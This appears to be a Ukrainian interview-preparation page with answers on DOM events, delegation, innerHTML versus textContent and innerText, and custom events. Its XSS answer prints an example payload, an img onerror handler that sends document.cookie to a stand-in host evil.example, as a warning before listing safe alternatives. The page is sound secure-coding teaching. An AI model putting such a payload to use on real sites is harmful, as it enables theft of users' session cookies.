Увійти Реєстрація
Блог Серії
Кар'єра
Вакансії Компанії
Навчання
Документація Співбесіди Тестування Відео
Екосистема
Пакети Ресурси Проєкти Інструменти Події
Інше
Про нас Реклама

Middle: питання на співбесіді з теми «DOM і події»

Питання з реальних співбесід з відповідями: Laravel і PHP, бази даних, JavaScript і фронтенд, Git, Docker, API, безпека й архітектура. Тими самими темами, що й тести.

4 питання

Подія в DOM проходить три фази:

  1. Перехоплення (capture) - від window вниз до цільового елемента.
  2. Ціль - на самому елементі.
  3. Спливання (bubble) - назад угору до window.

Обробники за замовчуванням спрацьовують на фазі спливання. Тому клік по кнопці в картці «бачать» і кнопка, і картка, і document.

Делегування - один обробник на спільному предку замість обробника на кожному елементі:

document.querySelector('#todo-list').addEventListener('click', (event) => {
  const button = event.target.closest('[data-action="delete"]');
  if (!button) return;

  removeTodo(button.dataset.id);
});

Переваги:

  • Працює для елементів, доданих пізніше (підвантажені рядки, нові пункти списку) - не треба вішати обробники заново.
  • Один обробник замість тисячі - менше пам'яті й простіше прибирання.

Що треба знати:

  • event.target - елемент, на якому подія виникла (може бути <span> всередині кнопки). event.currentTarget - елемент, на якому висить обробник. Звідси closest() у прикладі.
  • stopPropagation() зупиняє спливання, але ламає делегування й аналітику вище за деревом. Використовувати обережно.
  • Не всі події спливають: focus/blur - ні (зате спливають focusin/focusout), mouseenter/mouseleave - ні (спливають mouseover/mouseout).

Докладніше в документації: Спливання подій

innerHTML розбирає рядок як HTML. Якщо в рядку є дані від користувача, нападник може вставити розмітку, що виконає його JavaScript - це XSS.

comment.innerHTML = `<p>${userInput}</p>`;
// userInput = '<img src=x onerror="fetch(`https://evil.example/?c=${document.cookie}`)">'

Тег <script>, вставлений через innerHTML, не виконується, але обробники-атрибути (onerror, onload) - виконуються, тож цього захисту недостатньо.

Безпечні альтернативи:

  • textContent - для тексту. Усе виводиться як текст, без розбору HTML:
paragraph.textContent = userInput;
  • Створення елементів через DOM API:
const link = document.createElement('a');
link.href = url;            // але перевірте схему: javascript:-посилання теж XSS
link.textContent = title;
list.append(link);
  • Шаблони фреймворків (Vue {{ }}, JSX, Blade {{ }}) екранують дані автоматично. Небезпечні їхні «сирі» варіанти: v-html, dangerouslySetInnerHTML, {!! !!}.
  • Якщо HTML від користувача справді потрібен (редактор форматованого тексту) - лише після санітайзера на зразок DOMPurify, з білим списком тегів і атрибутів.

Додатковий рівень захисту - Content Security Policy, яка забороняє інлайнові скрипти й обробники. Вона не замінює екранування, але ускладнює експлуатацію пропущеної вразливості.

innerHTML також повільніший і знищує обробники подій та стан елементів, які перезаписує.

Докладніше в документації: Element.innerHTML

Усі три властивості читають і записують вміст елемента, але різними способами.

textContent - сирий текст усіх вузлів-нащадків, як він є в DOM:

  • повертає текст прихованих елементів (display: none), вміст <script> і <style>;
  • зберігає пробіли й переноси рядків з розмітки;
  • не викликає перерахунку стилів - швидкий;
  • при записі вставляє текст, а не розмітку: <b> стане видимими символами.

innerText - текст як його бачить користувач:

  • враховує CSS: приховані елементи не потрапляють у результат, text-transform: uppercase змінює регістр, блокові елементи дають переноси рядків;
  • для цього браузер мусить розрахувати розкладку (layout). Читання innerText у циклі - джерело примусових перерахунків і повільної сторінки;
  • при записі теж вставляє текст, але перетворює \n на <br>.

innerHTML - розмітка як рядок HTML:

  • при читанні - серіалізований HTML нащадків;
  • при записі - розбирає рядок як HTML, видаляючи старих нащадків разом з їхніми обробниками подій.
const name = '<img src=x onerror="stealCookies()">';

title.textContent = name;   // безпечно: показується як текст
title.innerHTML = name;     // XSS: виконається onerror

Що обирати:

Задача Властивість
вивести дані користувача чи API textContent
прочитати текст для копіювання так, як його бачать innerText
вставити довірену розмітку з власного шаблону innerHTML (або краще createElement / <template>)

Для запису тексту за замовчуванням - textContent: він швидший і безпечний. Це той самий принцип, що й {{ }} у Blade, який екранує HTML, на відміну від {!! !!}.

Ще варіанти: element.append('текст') теж додає текст безпечно; insertAdjacentHTML('beforeend', html) вставляє розмітку, не руйнуючи наявних нащадків (але так само небезпечний для недовірених даних).

value для полів форми: вміст <input> і <textarea> - це властивість value, а не textContent.

Докладніше в документації: Node.textContent

Крім вбудованих подій (click, submit), можна створювати власні - щоб частини інтерфейсу спілкувалися, не знаючи одна про одну.

// компонент кошика повідомляє, що змінилася кількість товарів
const event = new CustomEvent('cart:updated', {
  detail: { count: 3, total: 1250 },
  bubbles: true,
});
cartElement.dispatchEvent(event);

// лічильник у шапці слухає, не знаючи про кошик нічого, крім назви події
document.addEventListener('cart:updated', (event) => {
  badge.textContent = event.detail.count;
});

Параметри:

  • detail - довільні дані події;
  • bubbles: true - подія спливає до предків. За замовчуванням false: без цього її почують лише обробники на самому елементі, і слухач на document мовчатиме - найчастіша помилка;
  • cancelable: true - слухачі можуть викликати preventDefault(), а той, хто відправив подію, - перевірити результат:
const allowed = form.dispatchEvent(new CustomEvent('order:before-submit', { cancelable: true, bubbles: true }));
if (!allowed) return;   // хтось із слухачів скасував
  • composed: true - подія перетинає межу Shadow DOM (для веб-компонентів).

dispatchEvent синхронний: усі обробники виконуються до того, як виклик поверне керування. Це не черга повідомлень.

Назви подій - з префіксом-простором імен (cart:updated, modal:open), щоб не зіткнутися з вбудованими чи чужими подіями.

Де це використовується у TALL-стеку:

  • Alpine: $dispatch('notify', { message: 'Збережено' }) створює CustomEvent зі спливанням, а @notify.window="..." слухає його на window;
  • Livewire: $this->dispatch('post-created') у PHP доходить до браузера як подія, яку слухають через Livewire.on(...) чи @post-created.window в Alpine. Так серверний компонент повідомляє JavaScript-коду про зміни;
  • інтеграція сторонніх бібліотек (редакторів, карт): бібліотека відправляє подію, Alpine чи Livewire її підхоплюють.

Альтернатива без DOM - EventTarget як шина подій: const bus = new EventTarget(); і ті самі addEventListener/dispatchEvent, коли прив'язка до елемента не потрібна.

Докладніше в документації: CustomEvent